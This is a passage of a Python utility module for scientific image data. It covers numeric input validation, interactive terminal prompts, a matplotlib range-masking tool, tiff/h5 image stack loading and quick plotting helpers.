v_min[i] <= v[i] <= v_max[i].\n \"\"\"\n if not (isinstance(v, (tuple, list)) and len(v) == 2 and isinstance(v[0], (int, float)) and\n isinstance(v[1], (int, float))):\n return False\n if v_min is not None or v_max is not None:\n if ((v_min is None or isinstance(v_min, (int, float))) and\n (v_max is None or isinstance(v_max, (int, float)))):\n if True in [True if not is_num(vi, v_min=v_min, v_max=v_max) else False for vi in v]:\n return False\n elif is_num_pair(v_min) and is_num_pair(v_max):\n if True in [True if v_min[i] > v_max[i] else False for i in range(2)]:\n logging.error(f'Illegal v_min, v_max combination ({v_min}, {v_max})')\n return False\n if True in [True if not is_num(v[i], v_min[i], v_max[i]) else False for i in range(2)]:\n return False\n elif is_num_pair(v_min) and (v_max is None or isinstance(v_max, (int, float))):\n if True in [True if not is_num(v[i], v_min=v_min[i], v_max=v_max) else False\n for i in range(2)]:\n return False\n elif (v_min is None or isinstance(v_min, (int, float))) and is_num_pair(v_max):\n if True in [True if not is_num(v[i], v_min=v_min, v_max=v_max[i]) else False\n for i in range(2)]:\n return False\n else:\n logging.error(f'Illegal v_min or v_max input ({v_min} {type(v_min)} and '+\n f'{v_max} {type(v_max)})')\n return False\n return True\n\ndef is_num_series(l, v_min=None, v_max=None):\n \"\"\"Value is a tuple or list of numbers, each in range v_min <= l[i] <= v_max.\n \"\"\"\n if v_min is not None and not isinstance(v_min, (int, float)):\n illegal_value(v_min, 'v_min', 'is_num_series') \n return False\n if v_max is not None and not isinstance(v_max, (int, float)):\n illegal_value(v_max, 'v_max', 'is_num_series') \n return False\n if not isinstance(l, (tuple, list)):\n return False\n if True in [True if not is_num(v, v_min=v_min, v_max=v_max) else False for v in l]:\n return False\n return True\n\ndef is_index(v, v_min=0, v_max=None):\n \"\"\"Value is an array index in range v_min <= v < v_max.\n NOTE v_max IS NOT included!\n \"\"\"\n if isinstance(v_max, int):\n if v_max <= v_min:\n logging.error(f'Illegal v_min, v_max combination ({v_min}, {v_max})')\n return False\n v_max -= 1\n return is_int(v, v_min, v_max)\n\ndef is_index_range(v, v_min=0, v_max=None):\n \"\"\"Value is an array index range in range v_min <= v[0] <= v[1] <= v_max.\n NOTE v_max IS included!\n \"\"\"\n if not is_int_pair(v):\n return False\n if not isinstance(v_min, int):\n illegal_value(v_min, 'v_min', 'is_index_range') \n return False\n if v_max is not None:\n if not isinstance(v_max, int):\n illegal_value(v_max, 'v_max', 'is_index_range') \n return False\n if v_max < v_min:\n logging.error(f'Illegal v_min, v_max combination ({v_min}, {v_max})')\n return False\n if not v_min <= v[0] <= v[1] or (v_max is not None and v[1] > v_max):\n return False\n return True\n\ndef index_nearest(a, value):\n a = np.asarray(a)\n if a.ndim > 1:\n logging.warning(f'Illegal input array ({a}, {type(a)})')\n # Round up for .5\n value *= 1.0+sys.float_info.epsilon\n return (int)(np.argmin(np.abs(a-value)))\n\ndef index_nearest_low(a, value):\n a = np.asarray(a)\n if a.ndim > 1:\n logging.warning(f'Illegal input array ({a}, {type(a)})')\n index = int(np.argmin(np.abs(a-value)))\n if value < a[index] and index > 0:\n index -= 1\n return index\n\ndef index_nearest_upp(a, value):\n a = np.asarray(a)\n if a.ndim > 1:\n logging.warning(f'Illegal input array ({a}, {type(a)})')\n index = int(np.argmin(np.abs(a-value)))\n if value > a[index] and index < a.size-1:\n index += 1\n return index\n\ndef round_to_n(x, n=1):\n if x == 0.0:\n return 0\n else:\n return round(x, n-1-int(np.floor(np.log10(abs(x)))))\n\ndef round_up_to_n(x, n=1):\n xr = round_to_n(x, n)\n if abs(x/xr) > 1.0:\n xr += np.sign(x)*10**(np.floor(np.log10(abs(x)))+1-n)\n return xr\n\ndef trunc_to_n(x, n=1):\n xr = round_to_n(x, n)\n if abs(xr/x) > 1.0:\n xr -= np.sign(x)*10**(np.floor(np.log10(abs(x)))+1-n)\n return xr\n\ndef string_to_list(s):\n \"\"\"Return a list of numbers by splitting/expanding a string on any combination of\n dashes, commas, and/or whitespaces\n e.g: '1, 3, 5-8,12 ' -> [1, 3, 5, 6, 7, 8, 12]\n \"\"\"\n if not isinstance(s, str):\n illegal_value(s, location='string_to_list') \n return None\n if not len(s):\n return []\n try:\n list1 = [x for x in re.split('\\s+,\\s+|\\s+,|,\\s+|\\s+|,', s.strip())]\n except (ValueError, TypeError, SyntaxError, MemoryError, RecursionError):\n return None\n try:\n l = []\n for l1 in list1:\n l2 = [literal_eval(x) for x in re.split('\\s+-\\s+|\\s+-|-\\s+|\\s+|-', l1)]\n if len(l2) == 1:\n l += l2\n elif len(l2) == 2 and l2[1] > l2[0]:\n l += [i for i in range(l2[0], l2[1]+1)]\n else:\n raise ValueError\n except (ValueError, TypeError, SyntaxError, MemoryError, RecursionError):\n return None\n return sorted(set(l))\n\ndef get_trailing_int(string):\n indexRegex = re.compile(r'\\d+$')\n mo = indexRegex.search(string)\n if mo is None:\n return None\n else:\n return int(mo.group())\n\ndef input_int(s=None, v_min=None, v_max=None, default=None, inset=None):\n if default is not None:\n if not isinstance(default, int):\n illegal_value(default, 'default', 'input_int') \n return None\n default_string = f' [{default}]'\n else:\n default_string = ''\n if v_min is not None:\n if not isinstance(v_min, int):\n illegal_value(v_min, 'v_min', 'input_int') \n return None\n if default is not None and default < v_min:\n logging.error('Illegal v_min, default combination ({v_min}, {default})')\n return None\n if v_max is not None:\n if not isinstance(v_max, int):\n illegal_value(v_max, 'v_max', 'input_int') \n return None\n if v_min is not None and v_min > v_max:\n logging.error(f'Illegal v_min, v_max combination ({v_min}, {v_max})')\n return None\n if default is not None and default > v_max:\n logging.error('Illegal default, v_max combination ({default}, {v_max})')\n return None\n if inset is not None:\n if (not isinstance(inset, (tuple, list)) or False in [True if isinstance(i, int) else\n False for i in inset]):\n illegal_value(inset, 'inset', 'input_int') \n return None\n if v_min is not None and v_max is not None:\n v_range = f' ({v_min}, {v_max})'\n elif v_min is not None:\n v_range = f' (>= {v_min})'\n elif v_max is not None:\n v_range = f' (<= {v_max})'\n else:\n v_range = ''\n if s is None:\n print(f'Enter an integer{v_range}{default_string}: ')\n else:\n print(f'{s}{v_range}{default_string}: ')\n try:\n i = input()\n if isinstance(i, str) and not len(i):\n v = default\n print(f'{v}')\n else:\n v = literal_eval(i)\n if inset and v not in inset:\n raise ValueError(f'{v} not part of the set {inset}')\n except (ValueError, TypeError, SyntaxError, MemoryError, RecursionError):\n v = None\n except:\n print('Unexpected error')\n raise\n if not is_int(v, v_min, v_max):\n print('Illegal input, enter a valid integer')\n v = input_int(s, v_min, v_max, default)\n return v\n\ndef input_num(s=None, v_min=None, v_max=None, default=None):\n if default is not None:\n if not isinstance(default, (int, float)):\n illegal_value(default, 'default', 'input_num') \n return None\n default_string = f' [{default}]'\n else:\n default_string = ''\n if v_min is not None:\n if not isinstance(v_min, (int, float)):\n illegal_value(vmin, 'vmin', 'input_num') \n return None\n if default is not None and default < v_min:\n logging.error('Illegal v_min, default combination ({v_min}, {default})')\n return None\n if v_max is not None:\n if not isinstance(v_max, (int, float)):\n illegal_value(vmax, 'vmax', 'input_num') \n return None\n if v_min is not None and v_max < v_min:\n logging.error(f'Illegal v_min, v_max combination ({v_min}, {v_max})')\n return None\n if default is not None and default > v_max:\n logging.error('Illegal default, v_max combination ({default}, {v_max})')\n return None\n if v_min is not None and v_max is not None:\n v_range = f' ({v_min}, {v_max})'\n elif v_min is not None:\n v_range = f' (>= {v_min})'\n elif v_max is not None:\n v_range = f' (<= {v_max})'\n else:\n v_range = ''\n if s is None:\n print(f'Enter a number{v_range}{default_string}: ')\n else:\n print(f'{s}{v_range}{default_string}: ')\n try:\n i = input()\n if isinstance(i, str) and not len(i):\n v = default\n print(f'{v}')\n else:\n v = literal_eval(i)\n except (ValueError, TypeError, SyntaxError, MemoryError, RecursionError):\n v = None\n except:\n print('Unexpected error')\n raise\n if not is_num(v, v_min, v_max):\n print('Illegal input, enter a valid number')\n v = input_num(s, v_min, v_max, default)\n return v\n\ndef input_int_list(s=None, v_min=None, v_max=None):\n if v_min is not None and not isinstance(v_min, int):\n illegal_value(vmin, 'vmin', 'input_int_list') \n return None\n if v_max is not None:\n if not isinstance(v_max, int):\n illegal_value(vmax, 'vmax', 'input_int_list') \n return None\n if v_max < v_min:\n logging.error(f'Illegal v_min, v_max combination ({v_min}, {v_max})')\n return None\n if v_min is not None and v_max is not None:\n v_range = f' (each value in ({v_min}, {v_max}))'\n elif v_min is not None:\n v_range = f' (each value >= {v_min})'\n elif v_max is not None:\n v_range = f' (each value <= {v_max})'\n else:\n v_range = ''\n if s is None:\n print(f'Enter a series of integers{v_range}: ')\n else:\n print(f'{s}{v_range}: ')\n try:\n l = string_to_list(input())\n except (ValueError, TypeError, SyntaxError, MemoryError, RecursionError):\n l = None\n except:\n print('Unexpected error')\n raise\n if (not isinstance(l, list) or\n True in [True if not is_int(v, v_min, v_max) else False for v in l]):\n print('Illegal input: enter a valid set of dash/comma/whitespace separated integers '+\n 'e.g. 2,3,5-8,10')\n l = input_int_list(s, v_min, v_max)\n return l\n\ndef input_yesno(s=None, default=None):\n if default is not None:\n if not isinstance(default, str):\n illegal_value(default, 'default', 'input_yesno') \n return None\n if default.lower() in 'yes':\n default = 'y'\n elif default.lower() in 'no':\n default = 'n'\n else:\n illegal_value(default, 'default', 'input_yesno') \n return None\n default_string = f' [{default}]'\n else:\n default_string = ''\n if s is None:\n print(f'Enter yes or no{default_string}: ')\n else:\n print(f'{s}{default_string}: ')\n i = input()\n if isinstance(i, str) and not len(i):\n i = default\n print(f'{i}')\n if i is not None and i.lower() in 'yes':\n v = True\n elif i is not None and i.lower() in 'no':\n v = False\n else:\n print('Illegal input, enter yes or no')\n v = input_yesno(s, default)\n return v\n\ndef input_menu(items, default=None, header=None):\n if not isinstance(items, (tuple, list)) or False in [True if isinstance(i, str) else False\n for i in items]:\n illegal_value(items, 'items', 'input_menu') \n return None\n if default is not None:\n if not (isinstance(default, str) and default in items):\n logging.error(f'Illegal value for default ({default}), must be in {items}') \n return None\n default_string = f' [{items.index(default)+1}]'\n else:\n default_string = ''\n if header is None:\n print(f'Choose one of the following items (1, {len(items)}){default_string}:')\n else:\n print(f'{header} (1, {len(items)}){default_string}:')\n for i, choice in enumerate(items):\n print(f' {i+1}: {choice}')\n try:\n choice = input()\n if isinstance(choice, str) and not len(choice):\n choice = items.index(default)\n print(f'{choice+1}')\n else:\n choice = literal_eval(choice)\n if isinstance(choice, int) and 1 <= choice <= len(items):\n choice -= 1\n else:\n raise ValueError\n except (ValueError, TypeError, SyntaxError, MemoryError, RecursionError):\n choice = None\n except:\n print('Unexpected error')\n raise\n if choice is None:\n print(f'Illegal choice, enter a number between 1 and {len(items)}')\n choice = input_menu(items, default)\n return choice\n\ndef create_mask(x, bounds=None, reverse_mask=False, current_mask=None):\n # bounds is a pair of number in the same units a x\n if not isinstance(x, (tuple, list, np.ndarray)) or not len(x):\n logging.warning(f'Illegal input array ({x}, {type(x)})')\n return None\n if bounds is not None and not is_num_pair(bounds):\n logging.warning(f'Illegal bounds parameter ({bounds} {type(bounds)}, input ignored')\n bounds = None\n if bounds is not None:\n if not reverse_mask:\n mask = np.logical_and(x > min(bounds), x < max(bounds))\n else:\n mask = np.logical_or(x < min(bounds), x > max(bounds))\n else:\n mask = np.ones(len(x), dtype=bool)\n if current_mask is not None:\n if not isinstance(current_mask, (tuple, list, np.ndarray)) or len(current_mask) != len(x):\n logging.warning(f'Illegal current_mask ({current_mask}, {type(current_mask)}), '+\n 'input ignored')\n else:\n mask = np.logical_and(mask, current_mask)\n if not True in mask:\n logging.warning('Entire data array is masked')\n return mask\n\ndef draw_mask_1d(ydata, xdata=None, current_index_ranges=None, current_mask=None,\n select_mask=True, num_index_ranges_max=None, title=None, legend=None, test_mode=False):\n def draw_selections(ax):\n ax.clear()\n ax.set_title(title)\n ax.legend([legend])\n ax.plot(xdata, ydata, 'k')\n for (low, upp) in current_include:\n xlow = 0.5*(xdata[max(0, low-1)]+xdata[low])\n xupp = 0.5*(xdata[upp]+xdata[min(num_data-1, upp+1)])\n ax.axvspan(xlow, xupp, facecolor='green', alpha=0.5)\n for (low, upp) in current_exclude:\n xlow = 0.5*(xdata[max(0, low-1)]+xdata[low])\n xupp = 0.5*(xdata[upp]+xdata[min(num_data-1, upp+1)])\n ax.axvspan(xlow, xupp, facecolor='red', alpha=0.5)\n for (low, upp) in selected_index_ranges:\n xlow = 0.5*(xdata[max(0, low-1)]+xdata[low])\n xupp = 0.5*(xdata[upp]+xdata[min(num_data-1, upp+1)])\n ax.axvspan(xlow, xupp, facecolor=selection_color, alpha=0.5)\n ax.get_figure().canvas.draw()\n\n def onclick(event):\n if event.inaxes in [fig.axes[0]]:\n selected_index_ranges.append(index_nearest_upp(xdata, event.xdata))\n\n def onrelease(event):\n if len(selected_index_ranges) > 0:\n if isinstance(selected_index_ranges[-1], int):\n if event.inaxes in [fig.axes[0]]:\n event.xdata = index_nearest_low(xdata, event.xdata)\n if selected_index_ranges[-1] <= event.xdata:\n selected_index_ranges[-1] = (selected_index_ranges[-1], event.xdata)\n else:\n selected_index_ranges[-1] = (event.xdata, selected_index_ranges[-1])\n draw_selections(event.inaxes)\n else:\n selected_index_ranges.pop(-1)\n\n def confirm_selection(event):\n plt.close()\n\n def clear_last_selection(event):\n if len(selected_index_ranges):\n selected_index_ranges.pop(-1)\n draw_selections(ax)\n\n def update_mask(mask):\n for (low, upp) in selected_index_ranges:\n selected_mask = np.logical_and(xdata >= xdata[low], xdata <= xdata[upp])\n mask = np.logical_or(mask, selected_mask)\n for (low, upp) in unselected_index_ranges:\n unselected_mask = np.logical_and(xdata >= xdata[low], xdata <= xdata[upp])\n mask[unselected_mask] = False\n return mask\n\n def update_index_ranges(mask):\n # Update the currently included index ranges (where mask is True)\n current_include = []\n for i, m in enumerate(mask):\n if m == True:\n if len(current_include) == 0 or type(current_include[-1]) == tuple:\n current_include.append(i)\n else:\n if len(current_include) > 0 and isinstance(current_include[-1], int):\n current_include[-1] = (current_include[-1], i-1)\n if len(current_include) > 0 and isinstance(current_include[-1], int):\n current_include[-1] = (current_include[-1], num_data-1)\n return current_include\n\n # Check for valid inputs\n ydata = np.asarray(ydata)\n if ydata.ndim > 1:\n logging.warning(f'Illegal ydata dimension ({ydata.ndim})')\n return None, None\n num_data = ydata.size\n if xdata is None:\n xdata = np.arange(num_data)\n else:\n xdata = np.asarray(xdata, dtype=np.float64)\n if xdata.ndim > 1 or xdata.size != num_data:\n logging.warning(f'Illegal xdata shape ({xdata.shape})')\n return None, None\n if not np.all(xdata[:-1] < xdata[1:]):\n logging.warning('Illegal xdata: must be monotonically increasing')\n return None, None\n if current_index_ranges is not None:\n if not isinstance(current_index_ranges, (tuple, list)):\n logging.warning('Illegal current_index_ranges parameter ({current_index_ranges}, '+\n f'{type(current_index_ranges)})')\n return None, None\n if not isinstance(select_mask, bool):\n logging.warning('Illegal select_mask parameter ({select_mask}, {type(select_mask)})')\n return None, None\n if num_index_ranges_max is not None:\n logging.warning('num_index_ranges_max input not yet implemented in draw_mask_1d')\n if title is None:\n title = 'select ranges of data'\n elif not isinstance(title, str):\n illegal(title, 'title')\n title = ''\n if legend is None and not isinstance(title, str):\n illegal(legend, 'legend')\n legend = None\n\n if select_mask:\n title = f'Click and drag to {title} you wish to include'\n selection_color = 'green'\n else:\n title = f'Click and drag to {title} you wish to exclude'\n selection_color = 'red'\n\n # Set initial selected mask and the selected/unselected index ranges as needed\n selected_index_ranges = []\n unselected_index_ranges = []\n selected_mask = np.full(xdata.shape, False, dtype=bool)\n if current_index_ranges is None:\n if current_mask is None:\n if not select_mask:\n selected_index_ranges = [(0, num_data-1)]\n selected_mask = np.full(xdata.shape, True, dtype=bool)\n else:\n selected_mask = np.copy(np.asarray(current_mask, dtype=bool))\n if current_index_ranges is not None and len(current_index_ranges):\n current_index_ranges = sorted([(low, upp) for (low, upp) in current_index_ranges])\n for (low, upp) in current_index_ranges:\n if low > upp or low >= num_data or upp < 0:\n continue\n if low < 0:\n low = 0\n if upp >= num_data:\n upp = num_data-1\n selected_index_ranges.append((low, upp))\n selected_mask = update_mask(selected_mask)\n if current_index_ranges is not None and current_mask is not None:\n selected_mask = np.logical_and(current_mask, selected_mask)\n if current_mask is not None:\n selected_index_ranges = update_index_ranges(selected_mask)\n\n # Set up range selections for display\n current_include = selected_index_ranges\n current_exclude = []\n selected_index_ranges = []\n if not len(current_include):\n if select_mask:\n current_exclude = [(0, num_data-1)]\n else:\n current_include = [(0, num_data-1)]\n else:\n if current_include[0][0] > 0:\n current_exclude.append((0, current_include[0][0]-1))\n for i in range(1, len(current_include)):\n current_exclude.append((current_include[i-1][1]+1, current_include[i][0]-1))\n if current_include[-1][1] < num_data-1:\n current_exclude.append((current_include[-1][1]+1, num_data-1))\n\n if not test_mode:\n\n # Set up matplotlib figure\n plt.close('all')\n fig, ax = plt.subplots()\n plt.subplots_adjust(bottom=0.2)\n draw_selections(ax)\n\n # Set up event handling for click-and-drag range selection\n cid_click = fig.canvas.mpl_connect('button_press_event', onclick)\n cid_release = fig.canvas.mpl_connect('button_release_event', onrelease)\n\n # Set up confirm / clear range selection buttons\n confirm_b = Button(plt.axes([0.75, 0.05, 0.15, 0.075]), 'Confirm')\n clear_b = Button(plt.axes([0.59, 0.05, 0.15, 0.075]), 'Clear')\n cid_confirm = confirm_b.on_clicked(confirm_selection)\n cid_clear = clear_b.on_clicked(clear_last_selection)\n\n # Show figure\n plt.show(block=True)\n\n # Disconnect callbacks when figure is closed\n fig.canvas.mpl_disconnect(cid_click)\n fig.canvas.mpl_disconnect(cid_release)\n confirm_b.disconnect(cid_confirm)\n clear_b.disconnect(cid_clear)\n\n # Swap selection depending on select_mask\n if not select_mask:\n selected_index_ranges, unselected_index_ranges = unselected_index_ranges, \\\n selected_index_ranges\n\n # Update the mask with the currently selected/unselected x-ranges\n selected_mask = update_mask(selected_mask)\n\n # Update the currently included index ranges (where mask is True)\n current_include = update_index_ranges(selected_mask)\n\n return selected_mask, current_include\n\ndef findImageFiles(path, filetype, name=None):\n if isinstance(name, str):\n name = f' {name} '\n else:\n name = ' '\n # Find available index range\n if filetype == 'tif':\n if not isinstance(path, str) or not os.path.isdir(path):\n illegal_value(path, 'path', 'findImageFiles')\n return -1, 0, []\n indexRegex = re.compile(r'\\d+')\n # At this point only tiffs\n files = sorted([f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f)) and\n f.endswith('.tif') and indexRegex.search(f)])\n num_imgs = len(files)\n if num_imgs < 1:\n logging.warning('No available'+name+'files')\n return -1, 0, []\n first_index = indexRegex.search(files[0]).group()\n last_index = indexRegex.search(files[-1]).group()\n if first_index is None or last_index is None:\n logging.error('Unable to find correctly indexed'+name+'images')\n return -1, 0, []\n first_index = int(first_index)\n last_index = int(last_index)\n if num_imgs != last_index-first_index+1:\n logging.error('Non-consecutive set of indices for'+name+'images')\n return -1, 0, []\n paths = [os.path.join(path, f) for f in files]\n elif filetype == 'h5':\n if not isinstance(path, str) or not os.path.isfile(path):\n illegal_value(path, 'path', 'findImageFiles')\n return -1, 0, []\n # At this point only h5 in alamo2 detector style\n first_index = 0\n with h5py.File(path, 'r') as f:\n num_imgs = f['entry/instrument/detector/data'].shape[0]\n last_index = num_imgs-1\n paths = [path]\n else:\n illegal_value(filetype, 'filetype', 'findImageFiles')\n return -1, 0, []\n logging.debug('\\nNumber of available'+name+f'images: {num_imgs}')\n logging.debug('Index range of available'+name+f'images: [{first_index}, '+\n f'{last_index}]')\n\n return first_index, num_imgs, paths\n\ndef selectImageRange(first_index, offset, num_imgs, name=None, num_required=None):\n if isinstance(name, str):\n name = f' {name} '\n else:\n name = ' '\n # Check existing values\n use_input = False\n if (is_int(first_index, 0) and is_int(offset, 0) and is_int(num_imgs, 1)):\n if offset < 0:\n use_input = input_yesno(f'\\nCurrent{name}first index = {first_index}, '+\n 'use this value (y/n)?', 'y')\n else:\n use_input = input_yesno(f'\\nCurrent{name}first index/offset = '+\n f'{first_index}/{offset}, use these values (y/n)?', 'y')\n if num_required is None:\n if use_input:\n use_input = input_yesno(f'Current number of{name}images = '+\n f'{num_imgs}, use this value (y/n)? ', 'y')\n if use_input:\n return first_index, offset, num_imgs\n\n # Check range against requirements\n if num_imgs < 1:\n logging.warning('No available'+name+'images')\n return -1, -1, 0\n if num_required is None:\n if num_imgs == 1:\n return first_index, 0, 1\n else:\n if not is_int(num_required, 1):\n illegal_value(num_required, 'num_required', 'selectImageRange')\n return -1, -1, 0\n if num_imgs < num_required:\n logging.error('Unable to find the required'+name+\n f'images ({num_imgs} out of {num_required})')\n return -1, -1, 0\n\n # Select index range\n print('\\nThe number of available'+name+f'images is {num_imgs}')\n if num_required is None:\n last_index = first_index+num_imgs\n use_all = f'Use all ([{first_index}, {last_index}])'\n pick_offset = 'Pick a first index offset and a number of images'\n pick_bounds = 'Pick the first and last index'\n choice = input_menu([use_all, pick_offset, pick_bounds], default=pick_offset)\n if not choice:\n offset = 0\n elif choice == 1:\n offset = input_int('Enter the first index offset', 0, last_index-first_index)\n first_index += offset\n if first_index == last_index:\n num_imgs = 1\n else:\n num_imgs = input_int('Enter the number of images', 1, num_imgs-offset)\n else:\n offset = input_int('Enter the first index', first_index, last_index)\n first_index += offset\n num_imgs = input_int('Enter the last index', first_index, last_index)-first_index+1\n else:\n use_all = f'Use ([{first_index}, {first_index+num_required-1}])'\n pick_offset = 'Pick the first index offset'\n choice = input_menu([use_all, pick_offset], pick_offset)\n offset = 0\n if choice == 1:\n offset = input_int('Enter the first index offset', 0, num_imgs-num_required)\n first_index += offset\n num_imgs = num_required\n\n return first_index, offset, num_imgs\n\ndef loadImage(f, img_x_bounds=None, img_y_bounds=None):\n \"\"\"Load a single image from file.\n \"\"\"\n if not os.path.isfile(f):\n logging.error(f'Unable to load {f}')\n return None\n img_read = plt.imread(f)\n if not img_x_bounds:\n img_x_bounds = (0, img_read.shape[0])\n else:\n if (not isinstance(img_x_bounds, (tuple, list)) or len(img_x_bounds) != 2 or \n not (0 <= img_x_bounds[0] < img_x_bounds[1] <= img_read.shape[0])):\n logging.error(f'inconsistent row dimension in {f}')\n return None\n if not img_y_bounds:\n img_y_bounds = (0, img_read.shape[1])\n else:\n if (not isinstance(img_y_bounds, list) or len(img_y_bounds) != 2 or \n not (0 <= img_y_bounds[0] < img_y_bounds[1] <= img_read.shape[1])):\n logging.error(f'inconsistent column dimension in {f}')\n return None\n return img_read[img_x_bounds[0]:img_x_bounds[1],img_y_bounds[0]:img_y_bounds[1]]\n\ndef loadImageStack(files, filetype, img_offset, num_imgs, num_img_skip=0,\n img_x_bounds=None, img_y_bounds=None):\n \"\"\"Load a set of images and return them as a stack.\n \"\"\"\n logging.debug(f'img_offset = {img_offset}')\n logging.debug(f'num_imgs = {num_imgs}')\n logging.debug(f'num_img_skip = {num_img_skip}')\n logging.debug(f'\\nfiles:\\n{files}\\n')\n img_stack = np.array([])\n if filetype == 'tif':\n img_read_stack = []\n i = 1\n t0 = time()\n for f in files[img_offset:img_offset+num_imgs:num_img_skip+1]:\n if not i%20:\n logging.info(f' loading {i}/{num_imgs}: {f}')\n else:\n logging.debug(f' loading {i}/{num_imgs}: {f}')\n img_read = loadImage(f, img_x_bounds, img_y_bounds)\n img_read_stack.append(img_read)\n i += num_img_skip+1\n img_stack = np.stack([img_read for img_read in img_read_stack])\n logging.info(f'... done in {time()-t0:.2f} seconds!')\n logging.debug(f'img_stack shape = {np.shape(img_stack)}')\n del img_read_stack, img_read\n elif filetype == 'h5':\n if not isinstance(files[0], str) and not os.path.isfile(files[0]):\n illegal_value(files[0], 'files[0]', 'loadImageStack')\n return img_stack\n t0 = time()\n logging.info(f'Loading {files[0]}')\n with h5py.File(files[0], 'r') as f:\n shape = f['entry/instrument/detector/data'].shape\n if len(shape) != 3:\n logging.error(f'inconsistent dimensions in {files[0]}')\n if not img_x_bounds:\n img_x_bounds = (0, shape[1])\n else:\n if (not isinstance(img_x_bounds, (tuple, list)) or len(img_x_bounds) != 2 or \n not (0 <= img_x_bounds[0] < img_x_bounds[1] <= shape[1])):\n logging.error(f'inconsistent row dimension in {files[0]} {img_x_bounds} '+\n f'{shape[1]}')\n if not img_y_bounds:\n img_y_bounds = (0, shape[2])\n else:\n if (not isinstance(img_y_bounds, list) or len(img_y_bounds) != 2 or \n not (0 <= img_y_bounds[0] < img_y_bounds[1] <= shape[2])):\n logging.error(f'inconsistent column dimension in {files[0]}')\n img_stack = f.get('entry/instrument/detector/data')[\n img_offset:img_offset+num_imgs:num_img_skip+1,\n img_x_bounds[0]:img_x_bounds[1],img_y_bounds[0]:img_y_bounds[1]]\n logging.info(f'... done in {time()-t0:.2f} seconds!')\n else:\n illegal_value(filetype, 'filetype', 'loadImageStack')\n return img_stack\n\ndef combine_tiffs_in_h5(files, num_imgs, h5_filename):\n img_stack = loadImageStack(files, 'tif', 0, num_imgs)\n with h5py.File(h5_filename, 'w') as f:\n f.create_dataset('entry/instrument/detector/data', data=img_stack)\n del img_stack\n return [h5_filename]\n\ndef clearImshow(title=None):\n plt.ioff()\n if title is None:\n title = 'quick imshow'\n elif not isinstance(title, str):\n illegal_value(title, 'title', 'clearImshow')\n return\n plt.close(fig=title)\n\ndef clearPlot(title=None):\n plt.ioff()\n if title is None:\n title = 'quick plot'\n elif not isinstance(title, str):\n illegal_value(title, 'title', 'clearPlot')\n return\n plt.close(fig=title)\n\ndef quickImshow(a, title=None, path=None, name=None, save_fig=False, save_only=False,\n clear=True, extent=None, show_grid=False, grid_color='w', grid_linewidth=1, **kwargs):\n if title is not None and not isinstance(title, str):\n illegal_value(title, 'title', 'quickImshow')\n return\n if path is not None and not isinstance(path, str):\n illegal_value(path, 'path', 'quickImshow')\n return\n if not isinstance(save_fig, bool):\n illegal_value(save_fig, 'save_fig', 'quickImshow')\n return\n if not isinstance(save_only, bool):\n illegal_value(save_only, 'save_only', 'quickImshow')\n return\n if not isinstance(clear, bool):\n illegal_value(clear, 'clear', 'quickImshow')\n return\n if not title:\n title='quick imshow'\n# else:\n# title = re.sub(r\"\\s+\", '_', title)\n if name is None:\n ttitle = re.sub(r\"\\s+\", '_', title)\n if path is None:\n path = f'{ttitle}.png'\n else:\n path = f'{path}/{ttitle}.png'\n else:\n if path is None:\n path = name\n else:\n path = f'{path}/{name}'\n if extent is None:\n extent = (0, a.shape[1], a.shape[0], 0)\n if clear:\n plt.close(fig=title)\n if not save_only:\n plt.ion()\n plt.figure(title)\n plt.imshow(a, extent=extent, **kwargs)\n if show_grid:\n ax = plt.gca()\n ax.grid(color=grid_color, linewidth=grid_linewidth)\n# if title != 'quick imshow':\n# plt.title = title\n if save_only:\n plt.savefig(path)\n plt.close(fig=title)\n else:\n if save_fig:\n plt.savefig(path)\n\ndef quickPlot(*args, xerr=None, yerr=None, vlines=None, title=None, xlim=None, ylim=None,\n xlabel=None, ylabel=None, legend=None, path=None, name=None, show_grid=False, \n save_fig=False, save_only=False, clear=True, block=False, **kwargs):\n if title is not None and not isinstance(title, str):\n illegal_value(title, 'title', 'quickPlot')\n title = None\n if xlim is not None and not isinstance(xlim, (tuple, list)) and len(xlim) != 2:\n illegal_value(xlim, 'xlim', 'quickPlot')\n xlim = None\n if ylim is not None and not isinstance(ylim, (tuple, list)) and len(ylim) != 2:\n illegal_value(ylim, 'ylim', 'quickPlot')\n ylim = None\n if xlabel is not None and not isinstance(xlabel, str):\n illegal_value(xlabel, 'xlabel', 'quickPlot')\n xlabel = None\n if ylabel is not None and not isinstance(ylabel, str):\n illegal_value(ylabel, 'ylabel', 'quickPlot')\n ylabel = None\n if legend is not None and not isinstance(legend, (tuple, list)):\n illegal_value(legend, 'legend', 'quickPlot')\n legend = None\n if path is not None and not isinstance(path, str):\n illegal_value(path, 'path', 'quickPlot')\n return\n if not isinstance(show_grid, bool):\n illegal_value(show_grid, 'show_grid', 'quickPlot')\n return\n if not isinstance(save_fig, bool):\n illegal_value(save_fig, 'save_fig', 'quickPlot')\n return\n if not isinstance(save_only, bool):\n illegal_value(save_only, 'save_only', 'quickPlot')\n return\n if not isinstance(clear, bool):\n illegal_value(clear, 'clear', 'quickPlot')\n return\n if not isinstance(block, bool):\n illegal_value(block, 'block', 'quickPlot')\n return\n if title is None:\n title = 'quick plot'\n# else:\n# title = re.sub(r\"\\s+\", '_', title)\n if name is None:\n ttitle = re.sub(r\"\\s+\", '_', title)\n if path is None:\n path = f'{ttitle}.png'\n else:\n path = f'{path}/{ttitle}.png'\n else:\n if path is None:\n path = name\n else:\n path = f'{path}/{name}'\n if clear:\n plt.close(fig=title)\n args = unwrap_tuple(args)\n if depth_tuple(args) > 1 and (xerr is not None or yerr is not None):\n logging.warning('Error bars ignored form multiple curves')\n if not save_only:\n if block:\n plt.ioff()\n else:\n plt.ion()\n plt.figure(title)\n if depth_tuple(args) > 1:\n for y in args:\n plt.plot(*y, **kwargs)\n else:\n if xerr is None and yerr is None:\n plt.plot(*args, **kwargs)\n else:\n plt.errorbar(*args, xerr=xerr, yerr=yerr, **kwargs)\n if vlines is not None:\n for v in vlines:\n plt.axvline(v, color='r', linestyle='--', **kwargs)\n# if vlines is not None:\n# for s in tuple(([x, x], list(plt.gca().get_ylim())) for x in vlines):\n# plt.plot(*s, color='red', **kwargs)\n if xlim is not None:\n plt.xlim(xlim)\n if ylim is not None:\n plt.ylim(ylim)\n if xlabel is not None:\n plt.xlabel(xlabel)\n if ylabel is not None:\n plt.ylabel(ylabel)\n if show_grid:\n ax = plt.gca()\n ax.grid(color='k')#, linewidth=1)\n if legend is not None:\n plt.legend(legend)\n if save_only:\n plt.savefig(path)\n plt.close(fig=title)\n else:\n if save_fig:\n plt.savefig(path)\n if block:\n plt.show(block=block)\n\ndef 